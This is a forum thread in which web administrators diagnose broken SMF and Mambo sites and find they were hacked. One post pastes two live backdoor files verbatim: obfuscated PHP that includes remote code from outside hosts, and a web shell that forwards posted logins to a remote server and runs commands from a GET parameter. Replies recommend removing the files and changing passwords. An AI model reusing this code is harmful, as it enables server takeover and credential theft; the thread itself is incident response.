Unexpected $end error

[GTS]

No problem

If a backup isnt available (or it's too old) you could still reinstall SMF. If you configure it right, it should pick up all the postings, members and other stuff that remained in the database

[tattooedpierre]

I think the problem is your subs.php. There is an error in the script.

Did you add a mod or something?

Not as far as I recall. I have a lot of custom stuff (totally seperate from SMF) though.

[PioneeR]

Hi,
I have the exact same problem!

Just been trying to replace the odd file with the default SimpleMachines one. It looks like a load of .php have been truncated almost chopped in half?!

Very odd indeed. Looks like it happened just before 1am this morning.

In my tmp directory I have two files too (again created at the same time)..

create.php

Code Select Expand

<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} ?>

and

base.php

Code Select Expand

<?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
    if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
    else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
    if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
    if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>

Anything to do with my problems??

[GTS]

as i said on SMF boards (which seem to be down again) that script looks pretty suspicious.

It tries to contact a remote php script (http://bis.iframe.ru/master.php) with suspicious arguments.

I would suspect an hacking attempt, but i'm not really sure.

[tattooedpierre]

as i said on SMF boards (which seem to be down again) that script looks pretty suspicious.

It tries to contact a remote php script (http://bis.iframe.ru/master.php) with suspicious arguments.

I would suspect an hacking attempt, but i'm not really sure.

Really?? I never even considered a hacking attemt. I'll look over the files again, that directory in specific. Thanks for the input, guys. Much appreciated.

[PioneeR]

Def an hack here. Put in dodgy .htaccess files, changed perms, truncated various files and uploaded dodgy ones

[G6Cad]

Have you all updated you sites with the TP upgrade form the download section here ?
If not i strongly recomend you to do so, and then after you have don that, see if the forum are up and working again.
If it is a hacking attempt and it is done through the shoutbox, you should be good with just replacing the files with the ones from the update pack here.

[GTS]

Delete those files immediatally, clear out the bad code from your .htaccess files, and reupload all SMF files. You should also change all passwords. More information can be found here.

Just quoting the post on SMF Forums, so you people see it too.

[PioneeR]

Just had another site go down (same as above) This time a mambo based one. Only just found out... happened a few mins after the other one.